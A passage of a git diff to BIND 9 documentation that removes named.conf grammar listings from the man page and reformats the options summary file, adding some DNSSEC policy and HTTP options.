-  	listen-on [ port integer ] [ dscp
-  	    integer ] {
-  	    address_match_element; ... };
-  	listen-on-v6 [ port integer ] [ dscp
-  	    integer ] {
-  	    address_match_element; ... };
-  	lmdb-mapsize sizeval;
-  	lock-file ( quoted_string | none );
-  	managed-keys-directory quoted_string;
-  	masterfile-format ( map | raw | text );
-  	masterfile-style ( full | relative );
-  	match-mapped-addresses boolean;
-  	max-cache-size ( default | unlimited | sizeval | percentage );
-  	max-cache-ttl duration;
-  	max-clients-per-query integer;
-  	max-ixfr-ratio ( unlimited | percentage );
-  	max-journal-size ( default | unlimited | sizeval );
-  	max-ncache-ttl duration;
-  	max-records integer;
-  	max-recursion-depth integer;
-  	max-recursion-queries integer;
-  	max-refresh-time integer;
-  	max-retry-time integer;
-  	max-rsa-exponent-size integer;
-  	max-stale-ttl duration;
-  	max-transfer-idle-in integer;
-  	max-transfer-idle-out integer;
-  	max-transfer-time-in integer;
-  	max-transfer-time-out integer;
-  	max-udp-size integer;
-  	max-zone-ttl ( unlimited | duration );
-  	memstatistics boolean;
-  	memstatistics-file quoted_string;
-  	message-compression boolean;
-  	min-cache-ttl duration;
-  	min-ncache-ttl duration;
-  	min-refresh-time integer;
-  	min-retry-time integer;
-  	minimal-any boolean;
-  	minimal-responses ( no-auth | no-auth-recursive | boolean );
-  	multi-master boolean;
-  	new-zones-directory quoted_string;
-  	no-case-compress { address_match_element; ... };
-  	nocookie-udp-size integer;
-  	notify ( explicit | master-only | boolean );
-  	notify-delay integer;
-  	notify-rate integer;
-  	notify-source ( ipv4_address | * ) [ port ( integer | * ) ] [
-  	    dscp integer ];
-  	notify-source-v6 ( ipv6_address | * ) [ port ( integer | * ) ]
-  	    [ dscp integer ];
-  	notify-to-soa boolean;
-  	nta-lifetime duration;
-  	nta-recheck duration;
-  	nxdomain-redirect string;
-  	pid-file ( quoted_string | none );
-  	port integer;
-  	preferred-glue string;
-  	prefetch integer [ integer ];
-  	provide-ixfr boolean;
-  	qname-minimization ( strict | relaxed | disabled | off );
-  	query-source ( ( [ address ] ( ipv4_address | * ) [ port (
-  	    integer | * ) ] ) | ( [ [ address ] ( ipv4_address | * ) ]
-  	    port ( integer | * ) ) ) [ dscp integer ];
-  	query-source-v6 ( ( [ address ] ( ipv6_address | * ) [ port (
-  	    integer | * ) ] ) | ( [ [ address ] ( ipv6_address | * ) ]
-  	    port ( integer | * ) ) ) [ dscp integer ];
-  	querylog boolean;
-  	random-device ( quoted_string | none );
-  	rate-limit {
-  		all-per-second integer;
-  		errors-per-second integer;
-  		exempt-clients { address_match_element; ... };
-  		ipv4-prefix-length integer;
-  		ipv6-prefix-length integer;
-  		log-only boolean;
-  		max-table-size integer;
-  		min-table-size integer;
-  		nodata-per-second integer;
-  		nxdomains-per-second integer;
-  		qps-scale integer;
-  		referrals-per-second integer;
-  		responses-per-second integer;
-  		slip integer;
-  		window integer;
-  	};
-  	recursing-file quoted_string;
-  	recursion boolean;
-  	recursive-clients integer;
-  	request-expire boolean;
-  	request-ixfr boolean;
-  	request-nsid boolean;
-  	require-server-cookie boolean;
-  	reserved-sockets integer;
-  	resolver-nonbackoff-tries integer;
-  	resolver-query-timeout integer;
-  	resolver-retry-interval integer;
-  	response-padding { address_match_element; ... } block-size
-  	    integer;
-  	response-policy { zone string [ add-soa boolean ] [ log
-  	    boolean ] [ max-policy-ttl duration ] [ min-update-interval
-  	    duration ] [ policy ( cname | disabled | drop | given | no-op
-  	    | nodata | nxdomain | passthru | tcp-only quoted_string ) ] [
-  	    recursive-only boolean ] [ nsip-enable boolean ] [
-  	    nsdname-enable boolean ]; ... } [ add-soa boolean ] [
-  	    break-dnssec boolean ] [ max-policy-ttl duration ] [
-  	    min-update-interval duration ] [ min-ns-dots integer ] [
-  	    nsip-wait-recurse boolean ] [ nsdname-wait-recurse boolean
-  	    ] [ qname-wait-recurse boolean ] [ recursive-only boolean ]
-  	    [ nsip-enable boolean ] [ nsdname-enable boolean ] [
-  	    dnsrps-enable boolean ] [ dnsrps-options { unspecified-text
-  	    } ];
-  	root-delegation-only [ exclude { string; ... } ];
-  	root-key-sentinel boolean;
-  	rrset-order { [ class string ] [ type string ] [ name
-  	    quoted_string ] string string; ... };
-  	secroots-file quoted_string;
-  	send-cookie boolean;
-  	serial-query-rate integer;
-  	serial-update-method ( date | increment | unixtime );
-  	server-id ( quoted_string | none | hostname );
-  	servfail-ttl duration;
-  	session-keyalg string;
-  	session-keyfile ( quoted_string | none );
-  	session-keyname string;
-  	sig-signing-nodes integer;
-  	sig-signing-signatures integer;
-  	sig-signing-type integer;
-  	sig-validity-interval integer [ integer ];
-  	sortlist { address_match_element; ... };
-  	stacksize ( default | unlimited | sizeval );
-  	stale-answer-enable boolean;
-  	stale-answer-ttl duration;
-  	startup-notify-rate integer;
-  	statistics-file quoted_string;
-  	synth-from-dnssec boolean;
-  	tcp-advertised-timeout integer;
-  	tcp-clients integer;
-  	tcp-idle-timeout integer;
-  	tcp-initial-timeout integer;
-  	tcp-keepalive-timeout integer;
-  	tcp-listen-queue integer;
-  	tkey-dhkey quoted_string integer;
-  	tkey-domain quoted_string;
-  	tkey-gssapi-credential quoted_string;
-  	tkey-gssapi-keytab quoted_string;
-  	transfer-format ( many-answers | one-answer );
-  	transfer-message-size integer;
-  	transfer-source ( ipv4_address | * ) [ port ( integer | * ) ] [
-  	    dscp integer ];
-  	transfer-source-v6 ( ipv6_address | * ) [ port ( integer | * )
-  	    ] [ dscp integer ];
-  	transfers-in integer;
-  	transfers-out integer;
-  	transfers-per-ns integer;
-  	trust-anchor-telemetry boolean; // experimental
-  	try-tcp-refresh boolean;
-  	update-check-ksk boolean;
-  	use-alt-transfer-source boolean;
-  	use-v4-udp-ports { portrange; ... };
-  	use-v6-udp-ports { portrange; ... };
-  	v6-bias integer;
-  	validate-except { string; ... };
-  	version ( quoted_string | none );
-  	zero-no-soa-ttl boolean;
-  	zero-no-soa-ttl-cache boolean;
-  	zone-statistics ( full | terse | none | boolean );
-  };
-
-PLUGIN
-^^^^^^
-
-::
-
-  plugin ( query ) string [ { unspecified-text
-      } ];
-
-SERVER
-^^^^^^
-
-::
-
-  server netprefix {
-  	bogus boolean;
-  	edns boolean;
-  	edns-udp-size integer;
-  	edns-version integer;
-  	keys server_key;
-  	max-udp-size integer;
-  	notify-source ( ipv4_address | * ) [ port ( integer | * ) ] [
-  	    dscp integer ];
-  	notify-source-v6 ( ipv6_address | * ) [ port ( integer | * ) ]
-  	    [ dscp integer ];
-  	padding integer;
-  	provide-ixfr boolean;
-  	query-source ( ( [ address ] ( ipv4_address | * ) [ port (
-  	    integer | * ) ] ) | ( [ [ address ] ( ipv4_address | * ) ]
-  	    port ( integer | * ) ) ) [ dscp integer ];
-  	query-source-v6 ( ( [ address ] ( ipv6_address | * ) [ port (
-  	    integer | * ) ] ) | ( [ [ address ] ( ipv6_address | * ) ]
-  	    port ( integer | * ) ) ) [ dscp integer ];
-  	request-expire boolean;
-  	request-ixfr boolean;
-  	request-nsid boolean;
-  	send-cookie boolean;
-  	tcp-keepalive boolean;
-  	tcp-only boolean;
-  	transfer-format ( many-answers | one-answer );
-  	transfer-source ( ipv4_address | * ) [ port ( integer | * ) ] [
-  	    dscp integer ];
-  	transfer-source-v6 ( ipv6_address | * ) [ port ( integer | * )
-  	    ] [ dscp integer ];
-  	transfers integer;
-  };
-
-STATISTICS-CHANNELS
-^^^^^^^^^^^^^^^^^^^
-
-::
-
-  statistics-channels {
-  	inet ( ipv4_address | ipv6_address |
-  	    * ) [ port ( integer | * ) ] [
-  	    allow { address_match_element; ...
-  	    } ];
-  };
-
-TRUST-ANCHORS
-^^^^^^^^^^^^^
-
-::
-
-  trust-anchors { string ( static-key |
-      initial-key | static-ds | initial-ds )
-      integer integer integer
-      quoted_string; ... };
-
-TRUSTED-KEYS
-^^^^^^^^^^^^
-
-Deprecated - see DNSSEC-KEYS.
-
-::
-
-  trusted-keys { string integer
-      integer integer
-      quoted_string; ... };, deprecated
-
-VIEW
-^^^^
-
-::
-
-  view string [ class ] {
-  	allow-new-zones boolean;
-  	allow-notify { address_match_element; ... };
-  	allow-query { address_match_element; ... };
-  	allow-query-cache { address_match_element; ... };
-  	allow-query-cache-on { address_match_element; ... };
-  	allow-query-on { address_match_element; ... };
-  	allow-recursion { address_match_element; ... };
-  	allow-recursion-on { address_match_element; ... };
-  	allow-transfer { address_match_element; ... };
-  	allow-update { address_match_element; ... };
-  	allow-update-forwarding { address_match_element; ... };
-  	also-notify [ port integer ] [ dscp integer ] { ( masters |
-  	    ipv4_address [ port integer ] | ipv6_address [ port
-  	    integer ] ) [ key string ]; ... };
-  	alt-transfer-source ( ipv4_address | * ) [ port ( integer | * )
-  	    ] [ dscp integer ];
-  	alt-transfer-source-v6 ( ipv6_address | * ) [ port ( integer |
-  	    * ) ] [ dscp integer ];
-  	attach-cache string;
-  	auth-nxdomain boolean; // default changed
-  	auto-dnssec ( allow | maintain | off );
-  	cache-file quoted_string;
-  	catalog-zones { zone string [ default-masters [ port integer ]
-  	    [ dscp integer ] { ( masters | ipv4_address [ port
-  	    integer ] | ipv6_address [ port integer ] ) [ key
-  	    string ]; ... } ] [ zone-directory quoted_string ] [
-  	    in-memory boolean ] [ min-update-interval duration ]; ... };
-  	check-dup-records ( fail | warn | ignore );
-  	check-integrity boolean;
-  	check-mx ( fail | warn | ignore );
-  	check-mx-cname ( fail | warn | ignore );
-  	check-names ( primary | master |
-  	    secondary | slave | response ) (
-  	    fail | warn | ignore );
-  	check-sibling boolean;
-  	check-spf ( warn | ignore );
-  	check-srv-cname ( fail | warn | ignore );
-  	check-wildcard boolean;
-  	clients-per-query integer;
-  	deny-answer-addresses { address_match_element; ... } [
-  	    except-from { string; ... } ];
-  	deny-answer-aliases { string; ... } [ except-from { string; ...
-  	    } ];
-  	dialup ( notify | notify-passive | passive | refresh | boolean );
-  	disable-algorithms string { string;
-  	    ... };
-  	disable-ds-digests string { string;
-  	    ... };
-  	disable-empty-zone string;
-  	dlz string {
-  		database string;
-  		search boolean;
-  	};
-  	dns64 netprefix {
-  		break-dnssec boolean;
-  		clients { address_match_element; ... };
-  		exclude { address_match_element; ... };
-  		mapped { address_match_element; ... };
-  		recursive-only boolean;
-  		suffix ipv6_address;
-  	};
-  	dns64-contact string;
-  	dns64-server string;
-  	dnskey-sig-validity integer;
-  	dnsrps-enable boolean;
-  	dnsrps-options { unspecified-text };
-  	dnssec-accept-expired boolean;
-  	dnssec-dnskey-kskonly boolean;
-  	dnssec-loadkeys-interval integer;
-  	dnssec-must-be-secure string boolean;
-  	dnssec-policy string;
-  	dnssec-secure-to-insecure boolean;
-  	dnssec-update-mode ( maintain | no-resign );
-  	dnssec-validation ( yes | no | auto );
-  	dnstap { ( all | auth | client | forwarder |
-  	    resolver | update ) [ ( query | response ) ];
-  	    ... };
-  	dual-stack-servers [ port integer ] { ( quoted_string [ port
-  	    integer ] [ dscp integer ] | ipv4_address [ port
-  	    integer ] [ dscp integer ] | ipv6_address [ port
-  	    integer ] [ dscp integer ] ); ... };
-  	dyndb string quoted_string {
-  	    unspecified-text };
-  	edns-udp-size integer;
-  	empty-contact string;
-  	empty-server string;
-  	empty-zones-enable boolean;
-  	fetch-quota-params integer fixedpoint fixedpoint fixedpoint;
-  	fetches-per-server integer [ ( drop | fail ) ];
-  	fetches-per-zone integer [ ( drop | fail ) ];
-  	forward ( first | only );
-  	forwarders [ port integer ] [ dscp integer ] { ( ipv4_address
-  	    | ipv6_address ) [ port integer ] [ dscp integer ]; ... };
-  	glue-cache boolean;, deprecated
-  	inline-signing boolean;
-  	ixfr-from-differences ( primary | master | secondary | slave |
-  	    boolean );
-  	key string {
-  		algorithm string;
-  		secret string;
-  	};
-  	key-directory quoted_string;
-  	lame-ttl duration;
-  	lmdb-mapsize sizeval;
-  	managed-keys { string (
-  	    static-key | initial-key
-  	    | static-ds | initial-ds
-  	    ) integer integer
-  	    integer
-  	    quoted_string; ... };, deprecated
-  	masterfile-format ( map | raw | text );
-  	masterfile-style ( full | relative );
-  	match-clients { address_match_element; ... };
-  	match-destinations { address_match_element; ... };
-  	match-recursive-only boolean;
-  	max-cache-size ( default | unlimited | sizeval | percentage );
-  	max-cache-ttl duration;
-  	max-clients-per-query integer;
-  	max-ixfr-ratio ( unlimited | percentage );
-  	max-journal-size ( default | unlimited | sizeval );
-  	max-ncache-ttl duration;
-  	max-records integer;
-  	max-recursion-depth integer;
-  	max-recursion-queries integer;
-  	max-refresh-time integer;
-  	max-retry-time integer;
-  	max-stale-ttl duration;
-  	max-transfer-idle-in integer;
-  	max-transfer-idle-out integer;
-  	max-transfer-time-in integer;
-  	max-transfer-time-out integer;
-  	max-udp-size integer;
-  	max-zone-ttl ( unlimited | duration );
-  	message-compression boolean;
-  	min-cache-ttl duration;
-  	min-ncache-ttl duration;
-  	min-refresh-time integer;
-  	min-retry-time integer;
-  	minimal-any boolean;
-  	minimal-responses ( no-auth | no-auth-recursive | boolean );
-  	multi-master boolean;
-  	new-zones-directory quoted_string;
-  	no-case-compress { address_match_element; ... };
-  	nocookie-udp-size integer;
-  	notify ( explicit | master-only | boolean );
-  	notify-delay integer;
-  	notify-source ( ipv4_address | * ) [ port ( integer | * ) ] [
-  	    dscp integer ];
-  	notify-source-v6 ( ipv6_address | * ) [ port ( integer | * ) ]
-  	    [ dscp integer ];
-  	notify-to-soa boolean;
-  	nta-lifetime duration;
-  	nta-recheck duration;
-  	nxdomain-redirect string;
-  	plugin ( query ) string [ {
-  	    unspecified-text } ];
-  	preferred-glue string;
-  	prefetch integer [ integer ];
-  	provide-ixfr boolean;
-  	qname-minimization ( strict | relaxed | disabled | off );
-  	query-source ( ( [ address ] ( ipv4_address | * ) [ port (
-  	    integer | * ) ] ) | ( [ [ address ] ( ipv4_address | * ) ]
-  	    port ( integer | * ) ) ) [ dscp integer ];
-  	query-source-v6 ( ( [ address ] ( ipv6_address | * ) [ port (
-  	    integer | * ) ] ) | ( [ [ address ] ( ipv6_address | * ) ]
-  	    port ( integer | * ) ) ) [ dscp integer ];
-  	rate-limit {
-  		all-per-second integer;
-  		errors-per-second integer;
-  		exempt-clients { address_match_element; ... };
-  		ipv4-prefix-length integer;
-  		ipv6-prefix-length integer;
-  		log-only boolean;
-  		max-table-size integer;
-  		min-table-size integer;
-  		nodata-per-second integer;
-  		nxdomains-per-second integer;
-  		qps-scale integer;
-  		referrals-per-second integer;
-  		responses-per-second integer;
-  		slip integer;
-  		window integer;
-  	};
-  	recursion boolean;
-  	request-expire boolean;
-  	request-ixfr boolean;
-  	request-nsid boolean;
-  	require-server-cookie boolean;
-  	resolver-nonbackoff-tries integer;
-  	resolver-query-timeout integer;
-  	resolver-retry-interval integer;
-  	response-padding { address_match_element; ... } block-size
-  	    integer;
-  	response-policy { zone string [ add-soa boolean ] [ log
-  	    boolean ] [ max-policy-ttl duration ] [ min-update-interval
-  	    duration ] [ policy ( cname | disabled | drop | given | no-op
-  	    | nodata | nxdomain | passthru | tcp-only quoted_string ) ] [
-  	    recursive-only boolean ] [ nsip-enable boolean ] [
-  	    nsdname-enable boolean ]; ... } [ add-soa boolean ] [
-  	    break-dnssec boolean ] [ max-policy-ttl duration ] [
-  	    min-update-interval duration ] [ min-ns-dots integer ] [
-  	    nsip-wait-recurse boolean ] [ nsdname-wait-recurse boolean
-  	    ] [ qname-wait-recurse boolean ] [ recursive-only boolean ]
-  	    [ nsip-enable boolean ] [ nsdname-enable boolean ] [
-  	    dnsrps-enable boolean ] [ dnsrps-options { unspecified-text
-  	    } ];
-  	root-delegation-only [ exclude { string; ... } ];
-  	root-key-sentinel boolean;
-  	rrset-order { [ class string ] [ type string ] [ name
-  	    quoted_string ] string string; ... };
-  	send-cookie boolean;
-  	serial-update-method ( date | increment | unixtime );
-  	server netprefix {
-  		bogus boolean;
-  		edns boolean;
-  		edns-udp-size integer;
-  		edns-version integer;
-  		keys server_key;
-  		max-udp-size integer;
-  		notify-source ( ipv4_address | * ) [ port ( integer | *
-  		    ) ] [ dscp integer ];
-  		notify-source-v6 ( ipv6_address | * ) [ port ( integer
-  		    | * ) ] [ dscp integer ];
-  		padding integer;
-  		provide-ixfr boolean;
-  		query-source ( ( [ address ] ( ipv4_address | * ) [ port
-  		    ( integer | * ) ] ) | ( [ [ address ] (
-  		    ipv4_address | * ) ] port ( integer | * ) ) ) [
-  		    dscp integer ];
-  		query-source-v6 ( ( [ address ] ( ipv6_address | * ) [
-  		    port ( integer | * ) ] ) | ( [ [ address ] (
-  		    ipv6_address | * ) ] port ( integer | * ) ) ) [
-  		    dscp integer ];
-  		request-expire boolean;
-  		request-ixfr boolean;
-  		request-nsid boolean;
-  		send-cookie boolean;
-  		tcp-keepalive boolean;
-  		tcp-only boolean;
-  		transfer-format ( many-answers | one-answer );
-  		transfer-source ( ipv4_address | * ) [ port ( integer |
-  		    * ) ] [ dscp integer ];
-  		transfer-source-v6 ( ipv6_address | * ) [ port (
-  		    integer | * ) ] [ dscp integer ];
-  		transfers integer;
-  	};
-  	servfail-ttl duration;
-  	sig-signing-nodes integer;
-  	sig-signing-signatures integer;
-  	sig-signing-type integer;
-  	sig-validity-interval integer [ integer ];
-  	sortlist { address_match_element; ... };
-  	stale-answer-enable boolean;
-  	stale-answer-ttl duration;
-  	synth-from-dnssec boolean;
-  	transfer-format ( many-answers | one-answer );
-  	transfer-source ( ipv4_address | * ) [ port ( integer | * ) ] [
-  	    dscp integer ];
-  	transfer-source-v6 ( ipv6_address | * ) [ port ( integer | * )
-  	    ] [ dscp integer ];
-  	trust-anchor-telemetry boolean; // experimental
-  	trust-anchors { string ( static-key |
-  	    initial-key | static-ds | initial-ds
-  	    ) integer integer integer
-  	    quoted_string; ... };
-  	trusted-keys { string
-  	    integer integer
-  	    integer
-  	    quoted_string; ... };, deprecated
-  	try-tcp-refresh boolean;
-  	update-check-ksk boolean;
-  	use-alt-transfer-source boolean;
-  	v6-bias integer;
-  	validate-except { string; ... };
-  	zero-no-soa-ttl boolean;
-  	zero-no-soa-ttl-cache boolean;
-  	zone string [ class ] {
-  		allow-notify { address_match_element; ... };
-  		allow-query { address_match_element; ... };
-  		allow-query-on { address_match_element; ... };
-  		allow-transfer { address_match_element; ... };
-  		allow-update { address_match_element; ... };
-  		allow-update-forwarding { address_match_element; ... };
-  		also-notify [ port integer ] [ dscp integer ] { (
-  		    masters | ipv4_address [ port integer ] |
-  		    ipv6_address [ port integer ] ) [ key string ];
-  		    ... };
-  		alt-transfer-source ( ipv4_address | * ) [ port (
-  		    integer | * ) ] [ dscp integer ];
-  		alt-transfer-source-v6 ( ipv6_address | * ) [ port (
-  		    integer | * ) ] [ dscp integer ];
-  		auto-dnssec ( allow | maintain | off );
-  		check-dup-records ( fail | warn | ignore );
-  		check-integrity boolean;
-  		check-mx ( fail | warn | ignore );
-  		check-mx-cname ( fail | warn | ignore );
-  		check-names ( fail | warn | ignore );
-  		check-sibling boolean;
-  		check-spf ( warn | ignore );
-  		check-srv-cname ( fail | warn | ignore );
-  		check-wildcard boolean;
-  		database string;
-  		delegation-only boolean;
-  		dialup ( notify | notify-passive | passive | refresh |
-  		    boolean );
-  		dlz string;
-  		dnskey-sig-validity integer;
-  		dnssec-dnskey-kskonly boolean;
-  		dnssec-loadkeys-interval integer;
-  		dnssec-policy string;
-  		dnssec-secure-to-insecure boolean;
-  		dnssec-update-mode ( maintain | no-resign );
-  		file quoted_string;
-  		forward ( first | only );
-  		forwarders [ port integer ] [ dscp integer ] { (
-  		    ipv4_address | ipv6_address ) [ port integer ] [
-  		    dscp integer ]; ... };
-  		in-view string;
-  		inline-signing boolean;
-  		ixfr-from-differences boolean;
-  		journal quoted_string;
-  		key-directory quoted_string;
-  		masterfile-format ( map | raw | text );
-  		masterfile-style ( full | relative );
-  		masters [ port integer ] [ dscp integer ] { ( masters
-  		    | ipv4_address [ port integer ] | ipv6_address [
-  		    port integer ] ) [ key string ]; ... };
-  		max-ixfr-ratio ( unlimited | percentage );
-  		max-journal-size ( default | unlimited | sizeval );
-  		max-records integer;
-  		max-refresh-time integer;
-  		max-retry-time integer;
-  		max-transfer-idle-in integer;
-  		max-transfer-idle-out integer;
-  		max-transfer-time-in integer;
-  		max-transfer-time-out integer;
-  		max-zone-ttl ( unlimited | duration );
-  		min-refresh-time integer;
-  		min-retry-time integer;
-  		multi-master boolean;
-  		notify ( explicit | master-only | boolean );
-  		notify-delay integer;
-  		notify-source ( ipv4_address | * ) [ port ( integer | *
-  		    ) ] [ dscp integer ];
-  		notify-source-v6 ( ipv6_address | * ) [ port ( integer
-  		    | * ) ] [ dscp integer ];
-  		notify-to-soa boolean;
-  		request-expire boolean;
-  		request-ixfr boolean;
-  		serial-update-method ( date | increment | unixtime );
-  		server-addresses { ( ipv4_address | ipv6_address ); ... };
-  		server-names { string; ... };
-  		sig-signing-nodes integer;
-  		sig-signing-signatures integer;
-  		sig-signing-type integer;
-  		sig-validity-interval integer [ integer ];
-  		transfer-source ( ipv4_address | * ) [ port ( integer |
-  		    * ) ] [ dscp integer ];
-  		transfer-source-v6 ( ipv6_address | * ) [ port (
-  		    integer | * ) ] [ dscp integer ];
-  		try-tcp-refresh boolean;
-  		type ( primary | master | secondary | slave | mirror |
-  		    delegation-only | forward | hint | redirect |
-  		    static-stub | stub );
-  		update-check-ksk boolean;
-  		update-policy ( local | { ( deny | grant ) string (
-  		    6to4-self | external | krb5-self | krb5-selfsub |
-  		    krb5-subdomain | ms-self | ms-selfsub | ms-subdomain |
-  		    name | self | selfsub | selfwild | subdomain | tcp-self
-  		    | wildcard | zonesub ) [ string ] rrtypelist; ... };
-  		use-alt-transfer-source boolean;
-  		zero-no-soa-ttl boolean;
-  		zone-statistics ( full | terse | none | boolean );
-  	};
-  	zone-statistics ( full | terse | none | boolean );
-  };
-
-ZONE
-^^^^
-
-::
-
-  zone string [ class ] {
-  	allow-notify { address_match_element; ... };
-  	allow-query { address_match_element; ... };
-  	allow-query-on { address_match_element; ... };
-  	allow-transfer { address_match_element; ... };
-  	allow-update { address_match_element; ... };
-  	allow-update-forwarding { address_match_element; ... };
-  	also-notify [ port integer ] [ dscp integer ] { ( masters |
-  	    ipv4_address [ port integer ] | ipv6_address [ port
-  	    integer ] ) [ key string ]; ... };
-  	alt-transfer-source ( ipv4_address | * ) [ port ( integer | * )
-  	    ] [ dscp integer ];
-  	alt-transfer-source-v6 ( ipv6_address | * ) [ port ( integer |
-  	    * ) ] [ dscp integer ];
-  	auto-dnssec ( allow | maintain | off );
-  	check-dup-records ( fail | warn | ignore );
-  	check-integrity boolean;
-  	check-mx ( fail | warn | ignore );
-  	check-mx-cname ( fail | warn | ignore );
-  	check-names ( fail | warn | ignore );
-  	check-sibling boolean;
-  	check-spf ( warn | ignore );
-  	check-srv-cname ( fail | warn | ignore );
-  	check-wildcard boolean;
-  	database string;
-  	delegation-only boolean;
-  	dialup ( notify | notify-passive | passive | refresh | boolean );
-  	dlz string;
-  	dnskey-sig-validity integer;
-  	dnssec-dnskey-kskonly boolean;
-  	dnssec-loadkeys-interval integer;
-  	dnssec-policy string;
-  	dnssec-secure-to-insecure boolean;
-  	dnssec-update-mode ( maintain | no-resign );
-  	file quoted_string;
-  	forward ( first | only );
-  	forwarders [ port integer ] [ dscp integer ] { ( ipv4_address
-  	    | ipv6_address ) [ port integer ] [ dscp integer ]; ... };
-  	in-view string;
-  	inline-signing boolean;
-  	ixfr-from-differences boolean;
-  	journal quoted_string;
-  	key-directory quoted_string;
-  	masterfile-format ( map | raw | text );
-  	masterfile-style ( full | relative );
-  	masters [ port integer ] [ dscp integer ] { ( masters |
-  	    ipv4_address [ port integer ] | ipv6_address [ port
-  	    integer ] ) [ key string ]; ... };
-  	max-ixfr-ratio ( unlimited | percentage );
-  	max-journal-size ( default | unlimited | sizeval );
-  	max-records integer;
-  	max-refresh-time integer;
-  	max-retry-time integer;
-  	max-transfer-idle-in integer;
-  	max-transfer-idle-out integer;
-  	max-transfer-time-in integer;
-  	max-transfer-time-out integer;
-  	max-zone-ttl ( unlimited | duration );
-  	min-refresh-time integer;
-  	min-retry-time integer;
-  	multi-master boolean;
-  	notify ( explicit | master-only | boolean );
-  	notify-delay integer;
-  	notify-source ( ipv4_address | * ) [ port ( integer | * ) ] [
-  	    dscp integer ];
-  	notify-source-v6 ( ipv6_address | * ) [ port ( integer | * ) ]
-  	    [ dscp integer ];
-  	notify-to-soa boolean;
-  	request-expire boolean;
-  	request-ixfr boolean;
-  	serial-update-method ( date | increment | unixtime );
-  	server-addresses { ( ipv4_address | ipv6_address ); ... };
-  	server-names { string; ... };
-  	sig-signing-nodes integer;
-  	sig-signing-signatures integer;
-  	sig-signing-type integer;
-  	sig-validity-interval integer [ integer ];
-  	transfer-source ( ipv4_address | * ) [ port ( integer | * ) ] [
-  	    dscp integer ];
-  	transfer-source-v6 ( ipv6_address | * ) [ port ( integer | * )
-  	    ] [ dscp integer ];
-  	try-tcp-refresh boolean;
-  	type ( primary | master | secondary | slave | mirror |
-  	    delegation-only | forward | hint | redirect | static-stub |
-  	    stub );
-  	update-check-ksk boolean;
-  	update-policy ( local | { ( deny | grant ) string ( 6to4-self |
-  	    external | krb5-self | krb5-selfsub | krb5-subdomain | ms-self
-  	    | ms-selfsub | ms-subdomain | name | self | selfsub | selfwild
-  	    | subdomain | tcp-self | wildcard | zonesub ) [ string ]
-  	    rrtypelist; ... };
-  	use-alt-transfer-source boolean;
-  	zero-no-soa-ttl boolean;
-  	zone-statistics ( full | terse | none | boolean );
-  };
-
-Files
-~~~~~
-
-``/etc/named.conf``
-
-See Also
-~~~~~~~~
-
-:manpage:`tsig-keygen(8)`, :manpage:`named(8)`, :manpage:`named-checkconf(8)`, :manpage:`rndc(8)`, :manpage:`rndc-confgen(8)`, BIND 9 Administrator Reference Manual.
-
diff --git a/doc/misc/options b/doc/misc/options
index e42b004c9e..c01314b789 100644
--- a/doc/misc/options
+++ b/doc/misc/options
@@ -1,951 +1,582 @@
-
-This is a summary of the named.conf options supported by
-this version of BIND 9.
-
 acl <string> { <address_match_element>; ... }; // may occur multiple times
 
 controls {
-        inet ( <ipv4_address> | <ipv6_address> |
-            * ) [ port ( <integer> | * ) ] allow
-            { <address_match_element>; ... } [
-            keys { <string>; ... } ] [ read-only
-            <boolean> ]; // may occur multiple times
-        unix <quoted_string> perm <integer>
-            owner <integer> group <integer> [
-            keys { <string>; ... } ] [ read-only
-            <boolean> ]; // may occur multiple times
+	inet ( <ipv4_address> | <ipv6_address> | * ) [ port ( <integer> | * ) ] allow { <address_match_element>; ... } [ keys { <string>; ... } ] [ read-only <boolean> ]; // may occur multiple times
+	unix <quoted_string> perm <integer> owner <integer> group <integer> [ keys { <string>; ... } ] [ read-only <boolean> ]; // may occur multiple times
 }; // may occur multiple times
 
 dlz <string> {
-        database <string>;
-        search <boolean>;
+	database <string>;
+	search <boolean>;
 }; // may occur multiple times
 
 dnssec-policy <string> {
-        dnskey-ttl <duration>;
-        keys { ( csk | ksk | zsk ) [ ( key-directory ) ] lifetime
-            <duration_or_unlimited> algorithm <string> [ <integer> ]; ... };
-        max-zone-ttl <duration>;
-        nsec3param [ iterations <integer> ] [ optout <boolean> ] [
-            salt-length <integer> ];
-        parent-ds-ttl <duration>;
-        parent-propagation-delay <duration>;
-        parent-registration-delay <duration>; // obsolete
-        publish-safety <duration>;
-        purge-keys <duration>;
-        retire-safety <duration>;
-        signatures-refresh <duration>;
-        signatures-validity <duration>;
-        signatures-validity-dnskey <duration>;
-        zone-propagation-delay <duration>;
+	cdnskey <boolean>;
+	cds-digest-types { <string>; ... };
+	dnskey-ttl <duration>;
+	inline-signing <boolean>;
+	keys { ( csk | ksk | zsk ) [ ( key-directory ) ] lifetime <duration_or_unlimited> algorithm <string> [ <integer> ]; ... };
+	max-zone-ttl <duration>;
+	nsec3param [ iterations <integer> ] [ optout <boolean> ] [ salt-length <integer> ];
+	parent-ds-ttl <duration>;
+	parent-propagation-delay <duration>;
+	publish-safety <duration>;
+	purge-keys <duration>;
+	retire-safety <duration>;
+	signatures-refresh <duration>;
+	signatures-validity <duration>;
+	signatures-validity-dnskey <duration>;
+	zone-propagation-delay <duration>;
 }; // may occur multiple times
 
-dyndb <string> <quoted_string> {
-    <unspecified-text> }; // may occur multiple times
+dyndb <string> <quoted_string> { <unspecified-text> }; // may occur multiple times
 
 http <string> {
-        endpoints { <quoted_string>; ... };
+	endpoints { <quoted_string>; ... };
+	listener-clients <integer>;
+	streams-per-connection <integer>;
 }; // may occur multiple times
 
 key <string> {
-        algorithm <string>;
-        secret <string>;
+	algorithm <string>;
+	secret <string>;
 }; // may occur multiple times
 
 logging {
-        category <string> { <string>; ... }; // may occur multiple times
-        channel <string> {
-                buffered <boolean>;
-                file <quoted_string> [ versions ( unlimited | <integer> ) ]
-                    [ size <size> ] [ suffix ( increment | timestamp ) ];
-                null;
-                print-category <boolean>;
-                print-severity <boolean>;
-                print-time ( iso8601 | iso8601-utc | local | <boolean> );
-                severity <log_severity>;
-                stderr;
-                syslog [ <syslog_facility> ];
-        }; // may occur multiple times
+	category <string> { <string>; ... }; // may occur multiple times
+	channel <string> {
+		buffered <boolean>;
+		file <quoted_string> [ versions ( unlimited | <integer> ) ] [ size <size> ] [ suffix ( increment | timestamp ) ];
+		null;
+		print-category <boolean>;
+		print-severity <boolean>;
+		print-time ( iso8601 | iso8601-utc | local | <boolean> );
+		severity <log_severity>;
+		stderr;
+		syslog [ <syslog_facility> ];
+	}; // may occur multiple times
 };
 
-managed-keys { <string> ( static-key
-    | initial-key | static-ds |
-    initial-ds ) <integer> <integer>
-    <integer> <quoted_string>; ... }; // may occur multiple times, deprecated
-
